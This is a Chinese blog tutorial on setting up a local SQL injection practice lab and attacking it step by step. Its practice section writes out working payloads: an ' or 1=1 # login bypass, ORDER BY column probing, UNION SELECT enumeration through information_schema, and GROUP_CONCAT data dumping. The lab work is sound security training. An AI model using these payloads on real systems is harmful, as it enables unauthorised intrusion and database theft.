SQL注入——从零开始搭建靶场详细教程_实战练习_注入原理

一、环境依赖

  1. VMware V15.5(可选)
  2. Windows 10 x64 虚拟机(可选)
  3. phpstudy V8.1
  4. MySQL V5.7.26(在phpstudy内选择)
  5. Nginx 1.15.11(在phpstudy内选择)
  6. PHP V5.6.9(在phpstudy内选择)
  7. SQLyog(可用phpstudy内其他软件代替)
  8. 成绩管理系统靶场

二、靶场搭建

安装以上环境和软件

为模拟真实情况,靶场搭建在虚拟机内,而访问在物理机上完成(可选)
当然,操作均在物理机上进行也没问题

以下操作均在虚拟机内完成

Ⅰ、下载靶场文件

–>靶场文件传送门<–
提取码:244q

Ⅱ、创建网站

phpstudy --> 网站 --> 创建网站 --> 填写域名、端口、根目录,更改PHP版本
物理路径选择解压的靶场路径(需修改成全英文)
请确认版本信息
在这里插入图片描述

Ⅲ、更改数据库root密码

数据库 --> 修改root密码 --> 将root密码修改为123456(与靶场数据库保持一致)
靶场数据库密码在query.php可以查询

<?php
  require_once('query.html');
  $db=mysql_connect('127.0.0.1','root','123456');
 ...

在这里插入图片描述

Ⅳ、新建并导入数据库

打开SQLyog --> 新建 --> 填写主机地址为localhost、密码为123456
在这里插入图片描述
左侧栏 --> 右键创建数据库
名称自拟,建议设置成grade

–> 单击选中新建数据库 --> 将靶场文件夹内的.sql文件拖入SQLyog -->左上角执行全部

在这里插入图片描述
导入成功后右下会有提示

成功后即可关闭SQLyog

Ⅴ、验证访问靶场

浏览器输入localhost:端口号访问靶场
在这里插入图片描述

三、实战练习

以下操作在物理机上进行

访问靶场前使用CMD得到虚拟机IP

Ⅰ、嗅探字段

①、验证合法性

输入' #、任意英文字符串、任意数字串验证合法性
查询结果无报错则语句合法

use mysqli报错是由于使用了过时的PHP连接数据库函数,在此处不影响注入操作
在这里插入图片描述

※语句解释

查询学号基于SQL语法:

SELECT 学号 FROM 数据表 WHERE 名字 = ’ {输入的名字} ’

因此构造了以下语句

SELECT 学号 FROM 数据表 WHERE 名字 = ’ ’ # ’
查找空名字对应的学号,#号将后接入的’注释了

②、查找注入点

输入' or 1=1 #构造语句

SELECT 学号 FROM 数据表 WHERE 名字 = ’ ’ or 1=1 # ’
or使得查询条件变为True,即全查询
在这里插入图片描述

出现所有结果表明学号存在注入点
尝试使用万能账户' or 1=1 #登录,成功
(密码任填)
在这里插入图片描述
接下来查找字段名
使用F12 --> Network 查看发包方式
在这里插入图片描述
从而知道用户名字段名称为user

③、嗅探字段数

输入' ORDER BY -1 #查看是否有字段存在

SELECT 学号 FROM 数据表 WHERE 名字 = ’ ’ ORDER BY -1 # ’
按照第-1列排序(第一列为1),若无报错证明至少存在一列

有字段存在后,从1开始递增反复查询直到报错
报错列-1即是字段总数

Ⅱ、嗅探数据库信息

使用联合查询UNION SELECT XXX得到所需信息

  1. 输入'UNION SELECT USER() #查询用户名
  2. 输入'UNION SELECT VERSION() #查询数据库版本
  3. 输入'UNION SELECT DATABASE() #查询当前数据库名

Ⅲ、嗅探数据表信息

①、查询所有表

基础数据库有以下几个库information_schemamysqlperformance_shcemasys
它们记录了整个数据库的基本信息

输入' UNION SELECT table_name FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() #查询所有数据表信息

SELECT 学号 FROM 数据表 WHERE 名字 = ’ ‘ UNION SELECT table_name FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() # ’

第一个查询无返回值,第二个查询是在information_schema这个数据库的TABLES表内进行
得到当前数据库包含的所有表的名称
(TABLES表内有所有表的信息)

②、查询指定表的所有列

输入' UNION SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME = "表名"#查询表的所有列名

SELECT 学号 FROM 数据表 WHERE 名字 = ’ ’ UNION SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME = “表名”# ’

第一个查询无返回值,第二个查询是在information_schema这个数据库的COLUMNS表内进行
得到指定数据表包含的所有列的名称
若有重复表,请同时指定数据库名和表名

Ⅳ、爆数据

前提是拿到表结构、字段信息

输入' UNION SELECT GROUP_CONCAT(列1,列2,...,列n) FROM 表名 #
得到指定表指定列的数据

其中,GROUP_CONCAT表示相同行组合便于查看
SELECT 列1,...,列n也可

欢迎在评论区留言
感谢浏览

猜你喜欢

转载自blog.csdn.net/Xxy605/article/details/107746277